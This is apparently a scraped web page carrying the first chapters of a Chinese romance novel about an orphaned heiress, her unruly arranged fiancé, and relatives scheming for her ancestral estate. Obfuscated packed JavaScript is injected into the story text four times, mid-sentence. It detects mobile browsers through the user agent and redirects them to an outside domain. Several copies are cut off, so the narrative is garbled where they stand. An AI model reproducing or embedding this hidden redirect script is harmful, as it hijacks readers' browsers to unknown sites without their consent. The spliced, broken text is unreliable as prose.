《少夫人训夫手札》 1. 见疑鸳鸯谱，哄笑狐狗朋 严问晴淡然地听着媒婆将李家那位小她三岁的混世魔王夸得天上地下绝无仅有。 媒婆呷了一口茶，余光瞟见她的模样。 饶是已经看了小半个时辰，依旧不免被惊艳到一瞬。 一根花样简朴的素银钗将乌云般的青丝随意绾在脑后，未施粉黛的面孔上不见一点儿瑕疵，眉毛浓而细，眼窝深而大，眸光流转间熠熠生辉，面颊是康健粉嫩的颜色，绛唇不点亦朱。 哪怕穿着半旧的素净衣裳，也不折她风流体态。 举手投足间尽是大家的优雅教养。 媒婆暗暗咂舌。 难怪严娘子已经双十年华，李家那位夫人还请她来向这姑娘说媒。 且说这位严娘子，祖父曾官至御史大夫，其时在官场上最是刚正不阿，也树敌无数，可十余年为官生涯却无一点污点叫人抓住，及至乞骸骨之年，携一家老小回到严家的祖宅，因平常救济百姓，最后不过带了几百两为官攒下的银钱归故里。 老人家没享几年福便驾鹤西去，发妻悲痛至极缠绵病榻，次月亦随他而去。 二人仅有一子，月内先后丧父丧母，大受打击。 浑浑噩噩间，夫妻俩竟在年节关头双双跌落护城河，待打捞上来时已经没了气息。 只余下年仅十五的严问晴。 严娘子年纪虽小，处事却极为稳妥，有条不紊地料理好父母丧事后，孝期内收拢家里的账目，安抚浮动的人心，竟将这样一个对小姑娘而言庞大的祖业撑了起来。 可宗族里对她一介孤女执掌祖宅大权颇为不满。 严问晴熬到双十尚未成婚，一来守孝，二来等人。 无奈她要等的人迟迟没能传递佳讯，宗族里催得紧，严问晴不想将这座承载着一家温情的房子拱手让人，这两年只好开始物色招赘的人选。 然而她自幼长在京兆，看惯龙章凤姿的人物，那些眼含邪秽的自荐枕席的俗人难入她眼。 今日能叫严问晴拨冗听媒婆夸大其词，只因李家那位说一不二、出身翰林清正之家的杜夫人，向严问晴许诺成婚后帮她保全祖宅，在李家暂住一年后，她就是想回严家祖宅常住，杜夫人也一力促成。 这对严问晴而言诱惑实在是太大了。 可她想不明白，杜夫人为什么愿意许出这般荒唐的条件，也要替李家那个混世魔王求娶她。 混世魔王本人也想不明白。 李青壑怒气冲冲闯入母亲的院子，顾不得一向规矩繁多的母亲会不会训斥他，径直冲到里间吵吵嚷嚷道：“娘！我不娶那个老姑娘！” 倚在榻上看书的杜夫人斜乜他一眼，神情不变：“家规三十遍。” 方才还大呼小叫的李青壑猛地噎住，他狠狠心，暗道：罚都罚了，一定要讨个理儿出来！ 遂迎难而上，扑到亲娘的膝下要死要活地喊：“我不娶！她又老又丑，还是个一毛不拔的铁公鸡，我把她娶回来供在案桌上吗？” 杜夫人皱了皱眉：“你胡说八道些什么！” 她坐直身子，正色道：“严娘子是严大夫唯一的孙女，通读古今、知书达理，在她的管理下严家庶务井井有条，你哪儿学来的混账话，这样在外编排人家一个清清白白的好姑娘。” 李青壑腹诽着：这一听可真是娘最喜欢的儿媳范本。 可他不敢说出口，只委屈巴巴道：“儿子知道外祖家与严大夫有旧，可你也不能牺牲儿子的终身幸福来还人情啊。” 杜夫人将手中书页一盖，上下打量李青壑，冷笑道：“呵。” 那眼神满是嫌弃。 一切皆在不言中。 “行行行。”李青壑一个鲤鱼打挺跃起，“儿子这就去定个最大的香案，等新媳妇一过门，就把她恭恭敬敬供上去，免得叫母亲大人不满！” 杜夫人捏了捏额角，见他大步流星往外跑，显然是要去闹他爹，只在后边道：“三十遍家规别忘了。” 李青壑的背影一个踉跄。 被笑得跟个弥勒佛样的亲爹像防商道的大敌般打太极打出来后，李青壑更觉绝望。 这家是真没法待了。 他怀着满腹牢骚冲进自己房间，搜罗出金银财物，包了个大包袱，跟逃难似得往外跑。 小厮竹茵立马追上去：“爷，您还有三十遍家规没抄呢！” 李青壑扭头瞪他，左右等不到人拦他，自然也舍不得他的金银窝，只好放下惺惺作态，将包袱丢给竹茵，嚷道：“反正都是你抄，喊我干甚！” 他则是眨眼功夫又窜出家门，不知往何处去了。 这头严问晴听了半晌废话，照旧客客气气送走媒婆，刚转身，却听身后有人唤她。 一位三十岁上下的妇人站在门外，射着精光的三角眼黏在严问晴身上，嘴角勾着夸张的笑，眉梢却平直得很。 “晴娘这是还在问亲事？”她迈步子跨进院里，目光在院里的摆设上流连。 对这座很快能归他们家的院落满意到不行。 “堂婶。”严问晴稍福身，笑道，“不怕笑话，晚辈心里已经有些定意。” “是哪家？”妇人转头盯着严问晴，心里琢磨起她要真招赘进来，还能用什么由头撵她。 “县城的李家。” 妇人放下心来：“那可是一户好人家。” 虽然对严问晴一把年纪还能攀上这样好的亲事感到不满，但人家大业大，必不可能将独子入赘出去，这祖宅总算稳稳进了她家的口袋。 再说，李家老子娘气派有什么用？ 唯一的儿子是个不成器的，从没安心读过几天书，都十七岁了还在街上逞凶斗狠，保不齐哪天叫人一板砖拍死，严问晴再落个克夫的名声。 妇人一直觉得严问晴晦气。 全家都死绝，只剩下她一个孤女，命硬到吓人。 等搬进祖宅前，定要请道士做醮好好去一去晦气。 妇人想得远了，等回过神来，严问晴已经在使人送客。 她忙不迭上前拦：“好容易来一趟，哪里着急走呢？晴娘，你难道不该留婶娘住几天吗？” 严问晴心知她这是做入住前看房的盘算。 不过恰好严问晴也想先试一试杜夫人的手段，便令贴身侍女凝春理出一间客房招待客人。 话分两头。 且看李青壑自出李家，立马纠集一批“朋友”为他出谋划策。 其中有个名唤卜世友的，甩着把折扇，端出些文士的模样，促狭道：“不如李兄赴温柔乡眠花宿柳三五日，叫那正经死板的严娘子自知难而退？” 李青壑白了他一眼：“兄弟是来找你出主意的，你是想要兄弟的命啊。” 他灌杯酒，道：“你信不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488699|185753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信我前脚踏进花楼，后脚李家的家仆就把我捆成粽子拖回去，我爹得拿着大腿粗的藤鞭抽我！” 卜世友嗤笑道：“就你这模样，还敢妄称是安平县的混世魔王？” “那不一样。”李青壑嘟囔几声，“你看老子在街上横着走，有谁能管得了？前些日子王家那小子欺辱你，不也是老子带人与他斗了一番，替你讨回公道？” 卜世友眼神闪烁一下，李青壑粗枝大条，没留意到。 “这倒是。”卜世友笑道，“多亏了李大爷仗义相助，咱们安平县除了大爷的高堂，谁敢挡李大爷的道。” 这话说的李青壑高兴，胸中闷气总算舒去不少。 他大手一挥，手指又像并不住缝似的漏出大把银钱，将今日酒肉尽数包了。 这位金主结账，“哥们”间更是热络，七嘴八舌讨论起这位不识庐山真面目的严娘子。 因严问晴孤身执掌家中大权，平素不常出门。 她虽然招婿了两年，形貌竟还有些神秘。 忽有人拍了拍身边一清秀的男子，笑嚷道：“甄梅敛，你去岁不是上门求赘过吗？且说说这位严娘子究竟是何模样！” 甄梅敛脸上通红，不知是醉的还是恼的。 上门入赘本就不是什么光彩的事，更别说还被严娘子拒绝了，现在被人大声叫破，甄梅敛真是恨不得一酒坛子敲在嚷破此事的家伙脑袋上。 可惜他没那雄心。 又听周围人着急询问严问晴的长相，甄梅敛更觉气恼。 他都不嫌弃严娘子无父无母年纪大，那女人竟看不上他。 甄梅敛岂能承认自己叫那女人的容貌晃了神？ 遂支支吾吾道：“就那样呗，两个眼睛一张嘴的。人倒是刻薄挑剔得很。” 狐朋狗友皆哄笑起来，纷纷道：“看来是真的相貌平平，甄兄这样荤素不忌的都夸不出一句好看！” 哪个男人没幻想过娶一位美娇娘？ 这些人笑，是在笑李青壑。 他马上要被爹娘强压着娶回一位年纪大又模样平凡的管家婆。 李青壑被人看了笑话，心里更不是滋味，喝下肚的酒都化成灼烧的火，焚得他面红耳赤。 他把酒杯一掷，借着三分酒劲恼道：“且让我先去瞧瞧她到底是何方神圣！” 言罢，甩袖而去。 该如何瞧？ 正经人当依照礼数登门拜访，不说递拜帖这样繁缛的礼节，敲个门弯个腰总要有的。 可李青壑不是个正经人。 他喝了几碗黄汤，走在路上昏昏沉沉地想：若是登门拜访，那老姑娘瞧中自己年轻健壮，更不肯撒手该怎么办？ 于是李青壑下定决心，断不能叫严娘子瞧见他英俊的模样。 好在他成日在外上蹿下跳，身上有点不正经的爬墙功夫。 说来也巧，严问晴的堂婶正指使人带自己游园。 她大摇大摆地走着，浑不像是做客，大声支使院里的下人为自己办事。 李青壑刚从墙头抻出个脑袋，远远瞧见个瘦骨伶仃的女人站在院子里颐指气使，那尖锐的声音震得他耳膜生疼，大骇下连她头上的发髻样式都没看清，脚下一滑便狠跌在地。 捂着摔成八瓣的屁股回家时，李青壑更是坚定了一个念头——绝不要娶这样可怕的女人回家！ 2. 推杯道是非，谎病欲推拒 严问晴的堂婶在老宅住了三天，闹得人仰马翻。 原本井然有序的内务因这位妇人频繁指手画脚弄得手忙脚乱，许多习惯了上行下效、事半功倍的仆从这会儿失去条理，搞得身心俱疲，忍不住私下抱怨。 严娘子向来说一不二，那样雷厉风行的人，怎么纵着她的堂婶在祖宅这般放肆？ 堂婶倒是待得舒心极了。 她只觉得祖宅真是块风水宝地，连仆从都这般懂事听话，难怪严问晴能管得好这方祖产，若是她手下都是这样乖觉的仆从，又哪里愁中馈繁杂？ 又过了两日，一封拜帖送到严家。 是李家杜夫人不日登门来访。 堂婶前几日听严问晴说过有定亲的意思，猜杜夫人这是打算上门相看，再想到严问晴父母双亡，作为长辈不由得生出几分当家人的心思。 于是迎客那日，堂婶径直越过严问晴，似主人家般上前寒暄。 杜夫人却美目一转，定在门前落落大方的姑娘身上。 “严娘子。”她朝清丽的严问晴微微颔首。 严问晴方上前一步，朝她福身见礼。 堂婶叫她们冷落一旁，有些挂不住脸，又凑上去笑道：“我这侄女父母双亡，身为她的婶娘，当代为招待客人。杜夫人里边请。” 分明已经道出身份，杜夫人却不接她的话茬，依旧看着严问晴道：“这位是？” 严问晴不冷不热地答：“是族中堂叔的妻子。” 杜夫人点点头，终于正眼看堂婶。 只是不待堂婶挂上笑寒暄，便听她问：“不知尊驾功名几何？在何高就？” 堂婶磕巴了一下。 她支吾道：“没什么功名，不过做些海上的买卖。” 杜夫人面不改色，堂婶却觉得她噙在嘴角不变的笑带着刺眼的讽意。 严家是祖上冒青烟出了严问晴祖父这样一个大官。 可恨老爷子沽名钓誉，年轻时还凭职务返乡相看过几回族中子弟，但也不过是做做样子，为官十几年不曾提携过同宗的年轻人，生怕叫人抓住把柄。 他一走，严家更是捉襟见肘。 堂婶想到自己相公屡屡抱怨当年老爷子看着他皱眉摇头的模样，越发觉得面前这两个出身书香门第的家伙面目可憎。 不过是投个好胎，长在京兆，凭什么自命清高？ 她咬牙笑着：“犬子倒是读了几年书，先生屡屡夸赞。” 虽考不出功名，怎么着都比家里没儿子、有儿子还不如没儿子的人家强。 可杜夫人和严问晴神色如常，直教堂婶似一拳打在棉花上。 堂婶不敢思杜夫人的不是，遂在心里暗骂严问晴真是个胳膊肘往外拐的，同外人一唱一和折辱自家人。 及至迎客入堂，侍女奉上茶汤。 堂婶又忙不迭道：“这是紫笋贡茶，夫人好好尝尝。” 杜夫人笑容淡了几分，放下手中茶碗，微打量堂婶几眼后道：“夫人客居于此，倒是对种种情状如数家珍。” 堂婶听出她平淡语气下的讽意，悄然瞥了眼严问晴。 见严问晴垂眸不语，与五年前牙尖嘴利的模样截然不同，不知是这些年沉稳内敛了，还是在未来婆母面前做做乖顺的样子。 不过严问晴的态度叫堂婶心下微定。 她笑道：“晴娘年纪轻不省事，祖宅虽循旧例落在她头上，但家中俗务皆是我来打理，种种细则自是了然于胸。” “这我倒是不懂。”杜夫人沉下笑，“当年严大夫出资重修严氏宗祠时，族中长辈许诺将祖宅归他一门，严老先生唯一的孙女尚在，祖宅怎么就归旁支打理了？” 不待堂婶寻借口，杜夫人又板着脸道：“况且人尽皆知，夫人数日前才至此做客。您这是在短短几天内便做客做成主家了吗？” 堂婶叫她说的哑口无言，碍于她清名在外，不好当众撒泼。 且堂婶以己度人，听杜夫人咄咄逼人，便疑心他们李家是不是想藉由求娶严问晴侵占严家的祖产。 世上万没有将祖宅陪嫁出去的道理！ 她脑子清明几分，肃然道：“杜夫人这话我才不懂。听闻李家有意聘我侄女为媳，那这嫁出去的女儿泼出去的水，祖产自然要重归严家人。我担心届时忙中出乱，先到祖宅交接事务，有何不妥？” 这话说得毫无掩饰。 可堂侄女的婚事尚且八字还没一撇，就急哄哄要来抢祖宅，实在是肆无忌惮到令人心寒。 饶是早已看惯人间冷暖的严问晴，也忍不住深吸一口气，抿唇垂眸。 杜夫人冷笑一声，道：“你们严家破落的宅子，修缮的支度都够李家另建一处新宅了，有什么值得争抢的。” 她下颌微抬，目光斜睨，高高在上地俯视着堂婶。 话虽难听，却是不争的事实。 李氏的家业，便是指头缝里露出来的金银，都够堂婶家一年的进项。 不过在商言商，谁会嫌自己手上的房产地契少呢？ 堂婶方才紧张着，脑子忽然转过弯——若不是图谋严家的祖产，李氏这样富庶的人家，何必挑严问晴无父母兄弟照拂，又年纪偏大的姑娘结亲？ 于是她这会儿聪明极了，绝不信杜夫人的说辞。 “咱们索性打开天窗说亮话。夫人，咱们家可都是她的家里人。”堂婶扯着破破烂烂的遮羞布，委婉几分笑道，“好事能成，咱们也替她高兴。只是夫人不要打量着我这侄女无父无母，欺负了她。” 杜夫人像是因她的话恼了，怒道：“方还谈着祖产，这会儿又叫我别欺负她。怎么？你觉得我们李家会侵吞严娘子的嫁妆财产吗？” 堂婶瞧她生气，更笃定自己心里的考量。 她胸有成竹：“亲兄弟还明算账呢。只是姻亲，咱们还是得提前说清楚。” 杜夫人拍案而起：“好！那我这就立下字据，倘若严娘子能与我儿玉成，她的嫁妆、祖产我分文不动，全由严娘子做主！” 堂婶闻言顿觉欣喜。 她暗道读书多的女人到底脸皮薄，被她轻轻一激便丢下眼前的肥肉，急着自证高洁。 于是忙不迭应好。 待看着杜夫人使左右去来笔墨纸砚，当场立下字据的时候，得空的堂婶才骤然回过味——她也不知怎么被杜夫人绕进去，明明是想借机夺回祖产，却成了替严问晴捍卫婚前的财产。 就算立下这字据，她又能落下什么好？ 堂婶洋洋得意的神情顿时阴沉，暗暗觑看严问晴。 见她垂首默然，堂婶又想到自己在祖宅肆意多日，她皆一言不发，可见这些年听闻的那些严问晴治家手段皆是言过其实，她当初不过是凭借家中忠仆才收拢祖产，其实是个任人揉搓的软柿子。 紧张的神色微松。 目光再转向将湖笔搁置在笔架上的杜夫人，唬得外人放弃与她相争的自得又涌上心头。 杜夫人将写好的字据交到严问晴手中，望向她的眉眼微弯，尽是温柔与坚定。 严问晴也朝她一笑，微微颔首。 再转身，杜夫人朝着堂婶眉头紧皱，抿唇压抑着不满，哑巴吃黄连似的咬牙切齿。 杜夫人走后，堂婶甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“行了。”杜夫人被这杀猪叫磨得耳朵疼，“你就是病死，我也要将严娘子娶回来。左不过为你的遗孀寻个品貌俱佳的夫婿入赘李家，替你绵延后嗣。” 闻言李青壑猛地从床上弹起，难以置信地盯着杜夫人：“你真是我的亲娘吗！” “瞧。”杜夫人拊掌笑道，“我真是妙手回春。” 李青壑怪叫几声，一头栽回榻上，有气无力地说：“反正我病了，病得连下地的力气都没有，拜不了堂更成不了亲。” “那你慢慢病着吧。”杜夫人无情离去。 另一头的严问晴听闻李青壑生病后，投桃报李向李家递去拜帖。 杜夫人真是心疼这个懂礼知数的姑娘，再对比还趴在床上乱哼哼的不肖子，更觉无奈。 她迎着严问晴，见她梳着简洁的发髻，戴一支浅色珠花簪子，耳上缀着两颗金珠耳坠，着浅碧色暗花纱衫，下身米白色百褶裙，有兰草暗纹随行走若隐若现。 紧随其后的婢女凝春适时递上锦盒礼品，是一上好的山参。 严问晴早已除服，穿着如此端庄素雅，可见其对主人家的尊重。 杜夫人愈加喜欢她，拉着严问晴到花厅请她小酌。 严问晴见杜夫人神色从容，又对李青壑拒婚之事早有耳闻，遂猜到这病恐是托辞，便定心随杜夫人游览说笑。 杜夫人看她一颗七窍玲珑心，更觉喜爱。 二人相见恨晚，在花厅里谈笑风生，径直将本是最重要的“病者”抛之脑后。 3. 嗅遗香口是心非，道谋算寸步不让 严问晴随杜夫人移步至栖云院。 但见墙上青藤蜿蜒，角落里可怜巴巴缩着几株蔫蔫的名贵花草，若不是严问晴熟悉，打眼望过去还以为是些杂草野花。 而院子里最是光明敞亮的地方，则是摆着一排兵器架，刀枪剑戟一应俱全，木柄磨得光滑，泥土地面被踩得结结实实，立着的木桩刀痕累累，却没什么章法，房门敞开，一眼得见里边的简单古朴的摆设，架子上摆的书籍纸页锋利，干净崭新得像刚从书肆买回来。 窗下小几摆着半盏凉茶点心，碟子里有块咬了一口的麦饼。 竹茵跑出来迎人，好奇地觑看严问晴。 见娴静清丽的姑娘朝他微微一笑，魂儿顿时丢了一半，急急恭敬相请。 一道云母石镶螺钿的屏风隔开里外，隐隐绰绰能瞧见人影。 严问晴应诺在外间小坐，杜夫人则转入里间薅李青壑。 其时礼教并不严苛，有相看意愿的人家，在众目睽睽下使男女见上一面并非稀奇的事情。 但李青壑拿被子死死捂住自己，连根头发丝都不愿意露出来。 ——还是怕严问晴看中他年轻俊朗，非他不嫁。 杜夫人使左右上前扒拉人，李青壑便吱哇乱叫个不听，碰到他哪里他就大声喊疼，好似一夜之间成了个豆腐人。 大约是实在嫌他丢人，杜夫人放弃将他揪出来。 原本还指望这个蠢货唯一拿得出手的那点好容貌，能挽回几分他在严问晴心里的印象，可叫他这般折腾，显然适得其反。 敌退我进。 李青壑见杜夫人收手，立马有气无力地说：“我大概是要死了……” 就指望着严问晴嫌他病重，赶紧拒绝这门亲事。 灵敏的耳朵捕捉到细微的脚步声。 曼妙的身姿倒映在屏风上。 他听见轻灵温柔的声音：“既然李公子身体不适，晚辈先行告退。李公子年轻力壮，不日定能康愈，还请夫人多多保重。” 言罢，莲步轻移，那道屏风倒影就这样消失，似洛神梦形。 侧身的李青壑怔了数息，心想：她不扯着嗓子大喊大叫的时候，声音还怪好听的。 但他再转念一想，这严娘子不过是在他亲娘面前卖乖，待他真将她娶进门，必会原形毕露，根本不可能有这么温声细语的时候！ 于是稍有动摇的心神立马坚定。 等竹茵回禀严娘子已经离开栖云院后，李青壑便从床上蹦起来，先声夺人道：“娘！你怎么能将她领到我屋里呢？” 杜夫人冷笑：“人家来探病，总不能连你的院门都看不到吧？” 李青壑撇嘴：“你也不怕我光着身子被外人瞧见占去便宜。” “若果真如此，我只怕你这失心疯污了人家干干净净的眼睛。”杜夫人甩袖离去。 李青壑却开始思量起装疯卖傻能不能逼得严娘子主动拒婚。 转念一想，搞得蓬头垢面着实丢人，日后如何能在那群兄弟面前做人？遂放弃这主意。 他仅着中衣赤脚转过屏风，捞起小几上的半块麦饼嚼着，敏锐的狗鼻子耸了耸，屋里一股陌生的气味萦绕在鼻尖，似花果香，甜而不腻。 李青壑眼珠子一转，唤来竹茵，问他：“你看那老妖婆如何？” 竹茵愣着好半天，才想清楚公子说的“老妖婆”是谁，忍不住愕然地瞪大双眼盯着李青壑，实在不明白公子如何能视那么好看的姐姐如洪水猛兽。 可主子对她嗤之以鼻，竹茵也不敢公然唱反调，只含含糊糊道：“严娘子就像那清水里的芙蓉花，温柔漂亮。” 李青壑鄙夷地看他：“你可真没长眼，二十岁的老姑娘当成天仙似的夸。” 竹茵心道严娘子就是像误落人间的仙子。 没用任何华贵的环佩琼琚装饰，自有一种超凡清丽的美。 他不敢反驳李青壑，唯唯诺诺应是。 李青壑得了附和，心里却揣着几分奇异的空，像被不属于这间屋子的清香悄然掏去一角，随着香气淡去，心头也剩下个小小的空茫。 喜悦和满足自然不长这样。 面对全然陌生的心绪，李青壑只当自己是烦心这桩近乎板上钉钉的婚事，将这情绪草草归结到“厌烦”里，又猛灌自己两杯凉茶，总算压下这阵莫名其妙的燥意。 却说严问晴携随从施然归家，并未对不曾得见李青壑有多少遗憾。 她回到自己的地盘后松懈许多，靠倒在美人榻上，从凝春端来的冰鉴果盘里拈起圆溜溜的葡萄，持小扇轻摇。 不待严问晴松快多少，便听得有客上门。 原来前些日子堂婶归家后，将在祖宅发生的来龙去脉细细告知丈夫。 堂叔闻言赫然色变，怒叱妻子：“你这蠢货！” “她今日挟祖产傍身嫁入李家，待日后诞下后嗣，是她亲生的孩子重要，还是咱们这些往来无几的族亲重要？她更不可能将祖产还回来了！” 堂婶方如梦初醒，急问道：“那该如何是好？” 堂叔背手踱步几个来回，铁青着脸道：“既然说了全由晴娘做主，那咱们就得趁晴娘出嫁前要回祖产。” 他嫌妻子愚笨，连夜处理手中俗务，第二日大早匆匆赶来。 严问晴整理好仪容到前厅见客。 刚打一个照面，堂叔已堆笑上前，先一串言不由衷的问候，又道闻说严问晴有议亲之心，以叔父之名过来替她撑腰做主。 严问晴心知撑腰是假，打得“做主”主意才是真。 她佯装不觉，亲切地迎着堂叔入内。 堂叔倒是急迫得紧，没寒暄几句便道：“听闻县城的李家看中了你，那可是富庶人家。你无父母兄弟帮衬，恐受人轻视，且留着祖产傍身。族老那里，我这个做叔叔的自会替你说和。” 好一招以退为进。 倘若严问晴听不明白他的言外之意，信了他的鬼话，不肯乖乖交出祖产，那么下一次八成就要纠结一帮族中长辈强逼她。 届时他再不痛不痒劝和几句，面子里子都有了。 严问晴垂着眸子，鸦黑的睫羽微颤，贝齿轻咬下唇，终于似耐不住心中煎熬，怯生生道：“怎能叫叔父为我的事情劳烦。还请叔父承接祖业，只要为侄女留下几分嫁妆，侄女便心满意足了。” 堂叔故作为难的推脱几回，才应下。 实则他心里高兴至极。 既笑自己这侄女懂得审时度势，又道妻子愚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她轻笑一声：“只要祖产牢牢握在我手里，我还管外人说不说闲话?” 周嬷嬷仍有疑虑，见她态度坚决，问道：“那你当如何应付这位堂叔？” 纤纤五指拨弄着澄澈的水液，滴滴答答落回桶中，掺进柔和清亮的声音里，倒显出些模糊的诡谲：“听说我的堂叔，颇善博戏啊。” 月之中天。 李青壑装病睡了一天，这会儿毫无困意。 他枕着手臂，倒在榻上虚眼放空。 天气有些燥热，窗子留了一道缝隙，缕缕夜风晃着摘下灯罩的烛光，将屋里陈设的倒影也拽得东倒西歪。 放神间，余光错抓到屏上的模糊倒影，李青壑还未回神时，已经猛然坐起，炯炯双目盯向屏风。 华贵的屏风印着细长的灯架影子。 李青壑给了自己脑袋一巴掌，轻骂一声：“蠢！” 稀里糊涂，也不知道他究竟在说什么。 更不知道他怎么突然下了床，绕到屏风另一面，确认什么都没有后，又盯着灯架看上许久，最后推开窗子望向竹影圆月。 守夜的竹茵茫然地看着他。 大约是觉得这等望月疑似惆怅的举动实在丢人，李青壑“砰”一声关上窗户。 他重新倒回床上，许久以后终于睡着。 只是睡着了也不踏实。 他隐隐约约瞧见屏风印出一道身影，立刻上前，可不待他看清屏风后的人，那人已然转身，飘然轻纱似雾，直奔向皎洁明月。 李青壑猝然醒来，望向大白的天，无月亦无影。 4. 少年枉费神，美人巧施计 竹茵见李青壑醒了，欲上前询问他是否用早食，却被李青壑猛地拽住领子。 “我十七了……”声音猛地一顿，李青壑目光闪烁下，似乎咽下什么话，又含含糊糊地说，“对吧？” 竹茵没明白主子何处此言。 他震惊地望着李青壑，只怕他是睡傻了，要不然怎么一觉醒来连自己多大岁数都要拽着小厮询问？ 眨眼工夫，李青壑已经撒开他，坐在床上呆呆地盯着身上的薄被。 “公、公子，你没事吧？” “啊？”李青壑终于回神，立刻一口否决，“没事！我能有什么事？” 语气相当急切。 眸光四散，看着心神不定。 竹茵暗暗思量将此事禀告夫人，请个郎中替公子好好瞧一瞧。 心不在焉的李青壑显然没发现竹茵的小心思。 他心里正轮番重复着前言不搭后语的话。 ——他都十七了，梦到个女人不是很正常吗？ ——更何况他都没看清那女人的脸，也不一定就是…… 李青壑急忙摇头。 总之，是不能继续想下去，省得某个影子阴魂不散。 他正了正神，恢复几分平日的意气风发，朗声使竹茵将吃食呈上来，长臂捞起外衣裹上身。 系着系带往外走。 一抬头，李青壑发现自己不知道怎么回事走到屏风边上，华丽的螺钿映着光，隐约能见他模糊的身影，影子似有些重合。 李青壑晃了一瞬，又立马反应过来。 恰好竹茵端着吃食进来，碗还没放稳就被李青壑揪过来，见他皱着眉头道：“给爷换个不透光的屏风。” 他顺手接过竹茵手里的碗，刚赶了一大口，又想到什么，含着一大口食物急急含糊道：“要印不出人影的！” 竹茵也不知他好端端怎么突然跟屏风过不去。 不多时，李青壑赴约至酒楼，一干人正打叶子牌，见他来，忙招呼他耍上几盘。 李青壑摆摆手，掏出一锭银子丢到卜世友身前，笑道：“爷不费这个脑筋，且叫世友兄弟替我征战一番。” 他拍拍卜世友的肩：“赢了算你的，输了算我的。” 卜世友朝他一笑，手攥紧冰凉的银锭。 屋里有个弹琵琶唱曲儿的女伶。 十三四岁的模样，带着几分怯生生的稚气，悄悄拿眼觑着一室的男子。 李青壑仔细打量她一段时间，发现自己实在心如止水，遂端着瓜子盘走到窗边躲吵闹的咿咿呀呀的唱曲声儿。 从这扇窗望下去时，正巧一辆挂着严家标识的马车停在对面的米铺前。 李青壑吐掉口中的瓜子皮，坐直了盯着这辆马车。 见从马车里下来个中年男子，他重新抓起一把瓜子垂着眼嗑。 过了会儿，李青壑忽然将瓜子丢回盘子，抬头盯着米铺门口，一名米铺的伙计大概正询问着男子的身份，得到答案后立马换上热络的笑，打帘请他入内。 揣着疑惑的李青壑一把拦住路过的朋友，指着楼下马车问：“严家不是就剩一个严娘子了吗？那个男的是谁？” 朋友打趣道：“怎么人还没过门，你先抓上奸了？” 见李青壑剑眉拧起面露不悦，朋友忙道：“这你可问对人了，我有个堂哥在严家做差，正好知道些内情。” 他指着那家米铺道：“这间铺子正是严家的祖产之一。昨儿严家另一门来人，严娘子已经将几处祖产交给她的堂叔，剩下的估计这些日子陆续要交接出去。” 接着他挤眉弄眼的拿手肘顶了顶李青壑，笑道：“看来严娘子是打算一心一意傍好李家这棵大树。” 李青壑却没叫这番调侃生出恼意，反莫名有些不平。 为了这份祖业耽误最好的年华，熬到二十岁尚未说亲，怎么现在甘心拱手让人呢？ 却说严家堂叔一连视察数处店铺，店中掌柜、伙计无不毕恭毕敬，叫他通体舒畅，闲翻了几本账目，进项也令他十分满意。 他巡视完一间米铺，正要打道回府，偶闻两个伙计躲在柜台后边兴奋地聊着昨夜的牌局。 听他们鸿运当头，如何在牌桌上大杀四方，春风得意的人不免有些手痒。 他悄无声息地站在两名伙计身后，待二人意犹未尽的转身，顿时被吓个半死，忙向他告错，堂叔不痛不痒敲打两句后，又问起他们口中那销金窟般的赌场。 二人闻弦歌而知雅意，堆着笑请他同行。 瓜子壳已经在李青壑身前的小几堆出个小山包，他还一动不动杵在窗前。 眼见着严家堂叔上了马车，两名米铺伙计追在车旁引路，拐了个弯，正是往赌坊去的方向。 李青壑搁下瓜子盘就往外走。 左右酒肉朋友连忙拦他，询问：“这么急匆匆是要做什么？” 李青壑被话一拦，终于是冷静下来，心道：我这是要做什么？ 他抿了抿唇，折身回到窗边，见底下游人如织，再无严家人的身影，皱着眉想：真是个蠢女人，居然将家产交给一个初来乍到就往赌坊跑的赌鬼。 关他什么事。 “我今儿瞧见严家那个堂叔往赌坊去了。”李青壑双手抱肘，摆着张臭脸，如是对杜夫人说道。 杜夫人纳闷地看着他。 “所以呢？”她反问。 李青壑结舌。 他觉着自己将这件事告知母亲，对严问晴十分喜爱的杜夫人自然会把消息透给严问晴，问他“所以呢”这又是个什么情况？ 李青壑这番心路历程决计是说不出口的。 于是他撇嘴：“瞧见了，随口说说。” 杜夫人却笑道：“他们家的事儿，你瞎搀和什么？” 李青壑转过头去，眼神有些游离，他道：“咱家不是最忌赌博吗？严娘子有个赌鬼堂叔，可不能让她嫁进咱们家。” 杜夫人刚还有几分儿子开窍的揣测，又被他这番话打得烟消云散。 闹半天是在绞尽脑汁寻严家的错处推脱婚事。 杜夫人冷笑一声，道：“严家的远亲，与严娘子素无交集，关她什么事儿？” 说着，杜夫人眉头一皱：“你去赌坊附近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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严问晴视若无睹，面不改色地笑道：“届时定会向户老板敬一杯喜酒。” 户自矜也不恼，长叹一声，将手中茶一饮而尽。 他定定地望着严问晴，问道：“当年……你说你要等人，怎么现在又要另嫁？” 严问晴神情自若：“等不到人，自然要往前看。” 户自矜轻笑着俯身逼近她，柔声道：“你面前的人不是我吗？” “我已无父无母，杜夫人待我如亲女，我何忍负？”严问晴将他的话挡了回去。 